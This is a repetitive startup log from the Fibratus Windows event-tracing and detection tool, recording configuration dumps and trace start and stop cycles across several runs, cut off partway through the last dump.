match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-size=>100 log-stdout=>true formatter=>text max-age=>0 max-backups=>15] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true] elasticsearch=>[ enabled=>false healthcheck=>true timeout=>5s flush-period=>1s healthcheck-interval=>10s index-name=>fibratus sniff=>false servers=>[http://127.0.0.1:9200] trace-log=>false template-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s gzip-compression=>false] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false routing-key=>fibratus passive=>false vhost=>/ exchange-type=>topic url=>amqp://localhost:5672 durable=>false enabled=>false timeout=>5s exchange=>fibratus] http=>[ timeout=>5s enabled=>false serializer=>json method=>POST enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[]]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false enabled=>false excluded-files=>[] skip-mmaps=>false skip-registry=>false skip-files=>false fastscan=>true excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:54:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:54:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:54:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:54:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:54:49+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:55:20+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:55:20+01:00 level=info msg=bootstrapping with pid 8544. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:55:20+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ use-template=>true port=>25 content-type=>text/html enabled=>false to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-image=>true max-buffers=>36 enable-audit-api=>true buffer-size=>512 enable-threadpool=>false enable-fileio=>true enable-thread=>true enable-dns=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false stack-enrichment=>true enable-registry=>true min-buffers=>16 flush-interval=>1s enable-vamap=>true enable-net=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-backups=>15 max-size=>100 level=>info] + output ......................... [ amqp=>[ enabled=>false vhost=>/ routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus delivery-mode=>transient durable=>false passive=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s serializer=>json enabled=>false method=>POST tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[]] elasticsearch=>[ gzip-compression=>false template-name=>fibratus bulk-workers=>1 servers=>[http://127.0.0.1:9200] flush-period=>1s trace-log=>false index-name=>fibratus healthcheck=>true timeout=>5s healthcheck-interval=>10s sniff=>false enabled=>false healthcheck-timeout=>5s] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[] fastscan=>true skip-files=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:55:20+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:55:23+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:55:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:55:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:55:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:58:51+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:58:51+01:00 level=info msg=bootstrapping with pid 1096. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:58:51+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false to=>[] content-type=>text/html port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-thread=>true stack-enrichment=>true flush-interval=>1s enable-dns=>false enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false max-buffers=>36 enable-threadpool=>false enable-net=>true enable-image=>true enable-mem=>false enable-vamap=>true buffer-size=>512 enable-fileio=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true level=>info formatter=>text max-backups=>15 max-age=>0 max-size=>100] + output ......................... [ amqp=>[ routing-key=>fibratus timeout=>5s delivery-mode=>transient durable=>false exchange=>fibratus vhost=>/ url=>amqp://localhost:5672 exchange-type=>topic enabled=>false passive=>false tls-insecure-skip-verify=>false] http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json method=>POST] elasticsearch=>[ index-name=>fibratus healthcheck=>true healthcheck-timeout=>5s sniff=>false trace-log=>false healthcheck-interval=>10s template-name=>fibratus timeout=>5s bulk-workers=>1 flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-files=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-allocs=>false excluded-procs=>[] skip-registry=>false fastscan=>true enabled=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:58:51+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:58:54+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:59:18+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:59:18+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:59:19+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:59:44+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T20:59:44+01:00 level=info msg=bootstrapping with pid 9084. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T20:59:44+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false use-template=>true to=>[]] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 stack-enrichment=>true enable-fileio=>true enable-threadpool=>false max-buffers=>36 enable-dns=>false enable-thread=>true enable-handle=>false enable-audit-api=>true min-buffers=>16 enable-vamap=>true enable-net=>true enable-image=>true flush-interval=>1s blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus bulk-workers=>1 gzip-compression=>false flush-period=>1s trace-log=>false template-name=>fibratus healthcheck-timeout=>5s sniff=>false enabled=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] healthcheck=>true timeout=>5s] http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false endpoints=>[] enable-gzip=>false timeout=>5s serializer=>json] amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false exchange=>fibratus durable=>false timeout=>5s delivery-mode=>transient vhost=>/ passive=>false url=>amqp://localhost:5672] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] read-resources=>false read-sections=>false read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false excluded-procs=>[] skip-mmaps=>false skip-registry=>false skip-files=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-18T20:59:45+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:59:47+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T20:59:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T20:59:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T20:59:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:00:24+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T21:00:24+01:00 level=info msg=bootstrapping with pid 19840. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T21:00:24+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html use-template=>true to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-audit-api=>true enable-vamap=>true enable-dns=>false flush-interval=>1s enable-registry=>true enable-thread=>true enable-mem=>false buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true min-buffers=>16 enable-fileio=>true max-buffers=>36 enable-net=>true enable-threadpool=>false enable-handle=>false stack-enrichment=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true level=>info max-backups=>15 max-age=>0 formatter=>text max-size=>100] + output ......................... [ console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ endpoints=>[] enabled=>false timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ healthcheck=>true gzip-compression=>false healthcheck-interval=>10s flush-period=>1s bulk-workers=>1 template-name=>fibratus healthcheck-timeout=>5s enabled=>false sniff=>false index-name=>fibratus trace-log=>false servers=>[http://127.0.0.1:9200] timeout=>5s] amqp=>[ vhost=>/ passive=>false enabled=>false durable=>false exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 exchange=>fibratus]] + pe ............................. [ enabled=>false read-symbols=>false read-sections=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ skip-files=>false skip-allocs=>false skip-mmaps=>false excluded-procs=>[] fastscan=>true scan-timeout=>10s skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-18T21:00:24+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:00:27+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:00:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T21:00:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:00:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:02:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T21:02:38+01:00 level=info msg=bootstrapping with pid 4672. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T21:02:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true to=>[] port=>25 content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ enable-threadpool=>false buffer-size=>512 min-buffers=>16 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true stack-enrichment=>true enable-thread=>true max-buffers=>36 enable-fileio=>true enable-registry=>true enable-mem=>false enable-image=>true flush-interval=>1s enable-net=>true enable-handle=>false enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-age=>0 max-size=>100 formatter=>text] + output ......................... [ amqp=>[ routing-key=>fibratus durable=>false delivery-mode=>transient vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 passive=>false timeout=>5s enabled=>false exchange-type=>topic] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false timeout=>5s enabled=>false serializer=>json enable-gzip=>false endpoints=>[] method=>POST] elasticsearch=>[ sniff=>false template-name=>fibratus flush-period=>1s enabled=>false index-name=>fibratus timeout=>5s healthcheck=>true healthcheck-timeout=>5s trace-log=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200] gzip-compression=>false healthcheck-interval=>10s] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-resources=>false read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false enabled=>false excluded-files=>[] fastscan=>true skip-allocs=>false skip-files=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-18T21:02:38+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:02:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:02:45+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T21:02:46+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:02:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:04:21+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T21:04:21+01:00 level=info msg=bootstrapping with pid 8700. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T21:04:21+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false] + eventsource .................... [ enable-thread=>true buffer-size=>512 max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-registry=>true flush-interval=>1s enable-net=>true enable-fileio=>true enable-mem=>false enable-image=>true enable-audit-api=>true stack-enrichment=>true enable-threadpool=>false enable-handle=>false enable-vamap=>true min-buffers=>16] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text max-size=>100 max-backups=>15 level=>info log-stdout=>true] + output ......................... [ eventlog=>[ enabled=>false level=>info] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] healthcheck=>true healthcheck-timeout=>5s trace-log=>false healthcheck-interval=>10s timeout=>5s enabled=>false template-name=>fibratus sniff=>false flush-period=>1s gzip-compression=>false bulk-workers=>1] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] http=>[ serializer=>json timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false method=>POST enabled=>false enable-gzip=>false] amqp=>[ exchange-type=>topic routing-key=>fibratus enabled=>false delivery-mode=>transient exchange=>fibratus url=>amqp://localhost:5672 passive=>false tls-insecure-skip-verify=>false durable=>false vhost=>/ timeout=>5s]] + pe ............................. [ read-sections=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false skip-files=>false excluded-files=>[] scan-timeout=>10s enabled=>false excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T21:04:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-18T21:04:38+01:00 level=info msg=bootstrapping with pid 2760. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-18T21:04:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ enabled=>false use-template=>true content-type=>text/html port=>25 to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false] + eventsource .................... [ enable-audit-api=>true enable-dns=>false enable-thread=>true enable-vamap=>true min-buffers=>16 stack-enrichment=>true enable-image=>true buffer-size=>512 enable-net=>true enable-threadpool=>false enable-mem=>false enable-handle=>false max-buffers=>36 enable-fileio=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] flush-interval=>1s enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text max-size=>100 log-stdout=>true level=>info max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient durable=>false timeout=>5s passive=>false exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false routing-key=>fibratus enabled=>false vhost=>/ exchange-type=>topic] http=>[ serializer=>json enable-gzip=>false enabled=>false method=>POST timeout=>5s endpoints=>[] tls-insecure-skip-verify=>false] elasticsearch=>[ trace-log=>false sniff=>false servers=>[http://127.0.0.1:9200] healthcheck=>true flush-period=>1s gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s timeout=>5s enabled=>false template-name=>fibratus index-name=>fibratus bulk-workers=>1] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true scan-timeout=>10s excluded-procs=>[] enabled=>false excluded-files=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false skip-mmaps=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-18T21:04:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:04:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-18T21:04:47+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-18T21:04:47+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-18T21:04:47+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-19T17:59:52+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-19T17:59:52+01:00 level=info msg=bootstrapping with pid 4752. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-19T17:59:52+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ use-template=>true content-type=>text/html port=>25 enabled=>false to=>[]] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-images=>false] + eventsource .................... [ stack-enrichment=>true enable-mem=>false enable-fileio=>true min-buffers=>16 flush-interval=>1s enable-image=>true max-buffers=>36 enable-threadpool=>false enable-handle=>false enable-net=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-audit-api=>true enable-registry=>true enable-thread=>true buffer-size=>512 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 log-stdout=>true max-backups=>15 formatter=>text max-size=>100] + output ......................... [ amqp=>[ durable=>false routing-key=>fibratus exchange=>fibratus enabled=>false delivery-mode=>transient exchange-type=>topic url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false vhost=>/ passive=>false] console=>[ 